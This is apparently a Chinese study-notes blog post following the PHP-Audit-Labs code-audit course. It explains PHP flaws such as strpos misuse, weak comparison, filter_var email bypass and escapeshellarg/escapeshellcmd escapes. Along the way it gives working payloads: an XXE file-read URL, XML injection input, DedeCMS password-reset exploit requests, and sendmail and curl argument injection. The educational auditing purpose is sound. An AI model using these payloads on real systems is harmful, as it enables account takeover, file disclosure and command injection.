<pre><code class="">http://127.0.0.1:8888/index.php?name=SimpleXMLElement&amp;param=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E&amp;param2=2
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200310165415.png" alt="" /><br />
&#8211; 参考</p>
<pre><code class="">https://www.php.net/manual/en/function.spl-autoload-register.php
</code></pre>
<h2>strpos使用不当引发漏洞</h2>
<h3>False Beard</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="">class Login {
  public function __construct($user, $pass) {
    $this-&gt;loginViaXml($user, $pass);
  }

  public function loginViaXml($user, $pass) {
    if (
      (!strpos($user, '&lt;') || !strpos($user, '&gt;')) &amp;&amp;
      (!strpos($pass, '&lt;') || !strpos($pass, '&gt;'))
    ) {
      $format = '&lt;?xml version="1.0"?&gt;' .
        '&lt;user v="%s"/&gt;&lt;pass v="%s"/&gt;';
      $xml = sprintf($format, $user, $pass);
      $xmlElement = new SimpleXMLElement($xml);
      // Perform the actual login.
      $this-&gt;login($xmlElement);
    }
  }
}

new Login($_POST['username'], $_POST['password']);
</code></pre>
<ul>
<li>strpos</li>
</ul>
<pre><code class="">主要是用来查找字符在字符串中首次出现的位置。
</code></pre>
<p><strong>查找代码中是否含有&lt;与>的特殊符号，strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0，0的取反为1，就可以注入xml进行注入了</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">user=&lt;"&gt;&lt;injected-tag property="&amp;pass=&lt;injected-tag&gt;
</code></pre>
<h3>DeDecms V5.7SP2任意密码重置漏洞</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200311133852.png" alt="" /></p>
<ul>
<li>开启会员登陆并且注册两个会员</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200311140110.png" alt="" /></p>
<ul>
<li>member/resetpassword.php:75 漏洞触发点</li>
</ul>
<pre><code class="">else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db-&gt;GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion &amp;&amp; $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起，您的安全问题或答案回答错误","-1");
        exit();
    }

}
</code></pre>
<p><strong>将传入的mid进行查询，查询用户查询对应用户的安全问题、安全答案、用户id、电子邮件等信息，然后当安全问题和答案不为空且等于之前的设置的问题和答案的时候，进入sn函数</strong></p>
<ul>
<li>查看数据表</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200312132918.png" alt="" /></p>
<p><strong>当没设置问题答案时，safequestion为0，safeanswer为null，语句变为了</strong></p>
<pre><code class="">if($row['safequestion'] == $safequestion &amp;&amp; $row['safeanswer'] == $safeanswer)

$row['safequestion'] == 0 
$row['safeanswer'] == null

if ('0' == ''&amp; null == ''){
    sn()
}

 if(false &amp;&amp; true)
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200312134303.png" alt="" /></p>
<ul>
<li>member/inc/inc_pwd_functions.php:150</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200312135317.png" alt="" /></p>
<ul>
<li>member/inc/inc_pwd_functions.php:73</li>
</ul>
<p><strong>进入newmail函数</strong></p>
<p><img src="/wp-content/uploads/2020/05/20200312140852.png" alt="" /></p>
<p><strong>如果$send == &#8216;N&#8217;则发送重置邮件</strong></p>
<pre><code class="">sendmail($mailto,$mailtitle,$mailbody,$headers);
</code></pre>
<pre><code class="">/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval
</code></pre>
<ul>
<li>member/resetpassword.php:96</li>
</ul>
<p><strong>如果$id为空则退出，如果row不为空，则执行</strong></p>
<pre><code class="">    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim &gt; $row['mailtime'])
        {
            $db-&gt;executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起，临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
</code></pre>
<ul>
<li>member/templets/resetpassword2.htm:95</li>
</ul>
<pre><code class="">&lt;input type="hidden" name="dopost" value="getpasswd"&gt;
&lt;input type="hidden" name="setp" value="2"&gt;
&lt;input type="hidden" name="id" value="&lt;?php echo $id;?&gt;" /&gt;
</code></pre>
<p><strong>将setp的属性设置为2</strong></p>
<ul>
<li>member/resetpassword.php:123</li>
</ul>
<pre><code class="">elseif($setp == 2) 
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db-&gt;executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db-&gt;executenonequery($sql))
                    {
                        showmsg('更改密码成功，请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起，新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起，临时密码错误', '-1');
        exit;
    }
</code></pre>
<p><strong>如果key等于$row[&#8216;pwd&#8217;]，则重置密码成功</strong></p>
<h4>漏洞验证</h4>
<ul>
<li>访问重置密码链接获取key</li>
</ul>
<pre><code class="">member/resetpassword.php?dopost=safequestion&amp;safequestion=0.0&amp;safeanswer=&amp;id=3
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200312150736.png" alt="" /></p>
<ul>
<li>重置密码</li>
</ul>
<pre><code class="">member/resetpassword.php?dopost=getpasswd&amp;id=3&amp;key=VeRkLvEU
</code></pre>
<p><img src="/wp-content/uploads/2020/05/20200312150922.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200312160331.png" alt="" /></p>
<ul>
<li>buy.php</li>
</ul>
<pre><code class="">&lt;script type="text/javascript" src="js/buy.js"&gt;&lt;/script&gt;
</code></pre>
<ul>
<li>bug.js</li>
</ul>
<pre><code class="">function buy(){
    $('#wait').show();
    $('#result').hide();
    var input = $('#numbers')[0];
    if(input.validity.valid){
        var numbers = input.value;
        $.ajax({
          method: "POST",
          url: "api.php",
          dataType: "json",
          contentType: "application/json", 
          data: JSON.stringify({ action: "buy", numbers: numbers })
        }).done(function(resp){
            if(resp.status == 'ok'){
                show_result(resp);
            } else {
                alert(resp.msg);
            }
        })
    } else {
        alert('invalid');
    }
    $('#wait').hide();
}
</code></pre>
<p><strong>将用户提交的数字传入到api.php的buy函数</strong></p>
<ul>
<li>api.php</li>
</ul>
<pre><code class="">    for($i=0; $i&lt;7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
</code></pre>
<p><strong>由于是==，可进行弱类型比较，传入7个true</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="">[true,true,true,true,true,true,true]
</code></pre>
<ul>
<li>购买flag</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200312171526.png" alt="" /></p>
<h2>escapeshellarg与escapeshellcmd使用不当</h2>
<p><strong>escapeshellcmd: 除去字串中的特殊符号</strong><br />
<strong>escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数</strong></p>
<h3>postcard</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="">class Mailer {
  private function sanitize($email) {
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
      return '';
    }

    return escapeshellarg($email);
  }

  public function send($data) {
    if (!isset($data['to'])) {
      $data['to'] = 'none@ripstech.com';
    } else {
      $data['to'] = $this-&gt;sanitize($data['to']);
    }

    if (!isset($data['from'])) {
      $data['from'] = 'none@ripstech.com';
    } else {
      $data['from'] = $this-&gt;sanitize($data['from']);
    }

    if (!isset($data['subject'])) {
      $data['subject'] = 'No Subject';
    }

    if (!isset($data['message'])) {
      $data['message'] = '';
    }

    mail($data['to'], $data['subject'], $data['message'],
      '', "-f" . $data['from']);
  }
}

$mailer = new Mailer();
$mailer-&gt;send($_POST);
</code></pre>
<p><strong>新建一个MAil类进行邮件发送</strong></p>
<ul>
<li>Php内置函数mail</li>
</ul>
<pre><code class="">bool mail (
    string $to , 接收人
    string $subject , 邮件标题
    string $message [, 征文
    string $additional_headers [, 额外头部
    string $additional_parameters ]] 额外参数
)
</code></pre>
<ul>
<li>Linux中的额外参数</li>
</ul>
<pre><code class="">-O option = value

QueueDirectory = queuedir 选择队列消息

-X logfile

这个参数可以指定一个目录来记录发送邮件时的详细日志情况。

-f from email

这个参数可以让我们指定我们发送邮件的邮箱地址。
</code></pre>
<ul>
<li>举个例子（原文图）</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200429165336.png" alt="" /></p>
<ul>
<li>结果</li>
</ul>
<pre><code class="">17220 &lt;&lt;&lt; To: Alice@example.com
 17220 &lt;&lt;&lt; Subject: Hello Alice!
 17220 &lt;&lt;&lt; X-PHP-Originating-Script: 0:test.php
 17220 &lt;&lt;&lt; CC: somebodyelse@example.com
 17220 &lt;&lt;&lt;
 17220 &lt;&lt;&lt; &lt;?php phpinfo(); ?&gt;
 17220 &lt;&lt;&lt; [EOF]
</code></pre>
<ul>
<li>filter_var()问题（FILTER_VALIDATE_EMAIL）</li>
</ul>
<blockquote><p>
  filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
</p></blockquote>
<pre><code class="">”aaa’aaa”@example.com
</code></pre>
<ul>
<li>escapeshellcmd() 和 escapeshellarg()（会造成特殊字符逃逸）</li>
</ul>
<p><img src="/wp-content/uploads/2020/05/20200429180904.png" alt="" /></p>
<ul>
<li>逃逸过程分析</li>
</ul>
<pre><code class="">$param = "127.0.0.1' -v -d a=1";
$a = escapeshellcmd($param);
$b = escapeshellarg($a);
$cmd = "curl".$b;
var_dump($a)."n";
var_dump($b)."n";
var_dump($cmd)."n";
system($cmd);
</code></pre>
<p><strong>传入127.0.0.1&#8242; -v -d a=1，escapeshellarg首先进行转义，处理为&#8217;127.0.0.1&#8221;&#8217; -v -d a=1&#8217;，接着escapeshellcmd处理，处理结果为&#8217;127.0.0.1&#8217;&#92;&#8221; -v -d a=1&#8242;,&#92; 被解释成了  而不再是转义字符</strong></p>
<h4>参考</h4>
<pre><code class="">https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html
</code></pre>
<h2>Tips整理</h2>
<ul>
<li>in_array</li>
</ul>
<pre><code class="">第三个参数未设置为true,可利用弱类型比较绕过
</code></pre>
<ul>
<li>filter_var（url过滤）</li>
</ul>
<pre><code class="">未对协议进行校验，可利用xxx://绕过
</code></pre>
<ul>
<li>class_exists</li>
</ul>
<pre><code class="">当存在__autoload函数，会自动调用，如果类名可控，可造成危害，如果参数也可控，可利用内部函数进行攻击。
</code></pre>
<ul>
<li>strpos</li>
</ul>
<pre><code class="">strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0
</code></pre>
<ul>
<li>filter_var (FILTER_VALIDATE_EMAIL)</li>
</ul>
<pre><code class="">filter_var() 问题在于，我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因，我们通过重叠单引号和双引号，欺骗 filter_val() 使其认为我们仍然在双引号中，这样我们就可以绕过检测。
”aaa’aaa”@example.com
</code></pre>
<ul>
<li>escapeshellarg与escapeshellcmd</li>
</ul>
<pre><code class="">escapeshellarg与escapeshellcmd配合使用会存在绕过
</code></pre>
<ul>
<li>尾声</li>
</ul>
<p>本系列是弟弟跟着红日安全产出的代码审计教程系列学习的，原项目地址：[PHP-Audit-Labs]</p>
<p>(https://github.com/hongriSec/PHP-Audit-Labs)</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
